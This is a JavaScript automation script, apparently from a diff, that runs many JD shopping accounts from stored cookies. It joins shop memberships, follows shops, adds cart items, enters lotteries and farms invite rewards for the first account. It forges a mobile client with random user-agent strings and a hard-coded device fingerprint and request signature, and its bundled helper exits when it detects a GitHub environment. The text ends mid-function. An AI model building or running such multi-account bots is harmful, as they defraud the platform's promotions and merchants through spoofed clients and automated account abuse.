guaopencard_addSku = process.env.guaopencard_addSku9 - if (!process.env.guaopencard_addSku9 || process.env.guaopencard_addSku9 == "false") { - console.log('如需加购请设置环境变量[guaopencard_addSku9]为"true"') - } - } - $.shareUuid = 'd87a80e864dd45909d11f098b9efb3d0' - $.activityId = '078b967203634b208aaf65085d91a970' - console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if(i == 0 && !$.actorUuid) return - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - $.isvObfuscatorToken = $.LZ_TOKEN_KEY = $.LZ_TOKEN_VALUE = '' - await getWxCommonInfoToken(); - await getIsvObfuscatorToken(); - if($.isvObfuscatorToken == '' || $.LZ_TOKEN_KEY == '' || $.LZ_TOKEN_VALUE == ''){ - console.log('获取[token]失败!') - return - } - await getSimpleActInfoVo() - $.myPingData = await getMyPing() - if ($.myPingData ==="" || $.myPingData === '400001' || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { - $.log("获取活动信息失败!") - return - } - await getHtml(); - await adLog(); - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - await getUserInfo(); - $.actorUuid = ''; - await getActorUuid(); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - return - } - await drawContent(); - await $.wait(1000) - let checkOpenCardData = await checkOpenCard(); - $.log("开完卡: " + checkOpenCardData.allOpenCard) - if (checkOpenCardData && !checkOpenCardData.allOpenCard) { - for (let cardList1Element of checkOpenCardData.cardList1) { - if(cardList1Element.status == 0){ - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - await $.wait(1000) - await drawContent(); - checkOpenCardData = await checkOpenCard(); - await $.wait(1000) - } - if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) - $.log("关注: " + $.followShop) - if(!$.followShop) await followShop(); - if(!$.followShop) await $.wait(1000) - $.log("加购: " + $.addSku) - if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku9]为"true"'); - if(!$.addSku && guaopencard_addSku) await addSku(); - if(!$.addSku && guaopencard_addSku) await $.wait(1000) - await getActorUuid() - await $.wait(1000) - await getDrawRecordHasCoupon() - await $.wait(1000) - await getShareRecord() - $.log($.shareUuid) - if ($.index === 1) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - console.log(`后面的号都会助力:${$.shareUuid}`) - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - }catch(e){ - console.log(e) - } -} -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - data = JSON.parse(data) - console.log(`我的奖品:`) - let num = 0 - let value = 0 - for(let i in data.data){ - let item = data.data[i] - if(item.value == '邀请好友') num++; - if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); - if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) - } - if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 30}京豆`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} -function getShareRecord() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data) - $.log(`=========== 你邀请了:${data.data.length}个`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function addSku() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=2&taskValue=100017628668` - $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.errorMessage) console.log(`加购:${data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - let msg = '' - if(data.data.addBeanNum){ - msg = `${data.data.addBeanNum}京豆` - } - console.log(`加购获得:${ msg || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function followShop() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=1000003443` - $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.errorMessage) console.log(`关注:${data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - let msg = '' - if(data.data.addBeanNum){ - msg = `${data.data.addBeanNum}京豆` - } - if(data.data.beanNumMember && data.data.assistSendStatus){ - msg += ` 额外获得:${data.data.beanNumMember}京豆` - } - console.log(`关注获得:${ msg || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - if(data.result && data.result.giftInfo){ - for(let i of data.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(data.success == false){ - $.log(data.message) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function startDraw(type) { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` - $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // $.log($.toStr(data)) - data = $.toObj(data); - if(data.errorMessage || data.data.errorMessage) console.log(`抽奖:${data.errorMessage || data.data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - console.log(`抽奖获得:${data.data.drawOk && data.data.name || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res && res.data || ''); - } - }) - }) -} - - -function drawContent() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/openCardcommon/drawContent`, - body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getActorUuid() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activityContent`, - body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus - if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus - if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`activityContent ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getUserInfo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, - body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getUserInfo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function adLog() { - return new Promise(resolve => { - let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, - body: `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // data = JSON.parse(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] - if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ - $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' - $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getHtml() { - return new Promise(resolve => { - $.get({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'X-Requested-With': 'com.jingdong.app.mall', - 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getMyPing() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - body: `userId=${$.shopId || $.venderId}&token=${$.isvObfuscatorToken}&fromType=APP`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] - $.lz_jdpin_token = '' - if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ - $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res.data || ''); - } - }) - }) -} -function getSimpleActInfoVo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`, - body: `activityId=${$.activityId}`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId - if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getWxCommonInfoToken () { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Origin':'https://lzdz1-isv.isvjcloud.com', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} wxCommonInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.LZ_TOKEN_KEY != 'undefined') $.LZ_TOKEN_KEY = res.data.LZ_TOKEN_KEY - if(typeof res.data.LZ_TOKEN_VALUE != 'undefined') $.LZ_TOKEN_VALUE = res.data.LZ_TOKEN_VALUE - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`token ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getIsvObfuscatorToken () { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'api.m.jd.com', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(typeof res.token != 'undefined') $.isvObfuscatorToken = res.token - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(url, body) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Accept": "application/json", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - "Host": "lzdz1-isv.isvjcloud.com", - "Origin": "https://lzdz1-isv.isvjcloud.com", - "X-Requested-With": "XMLHttpRequest", - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 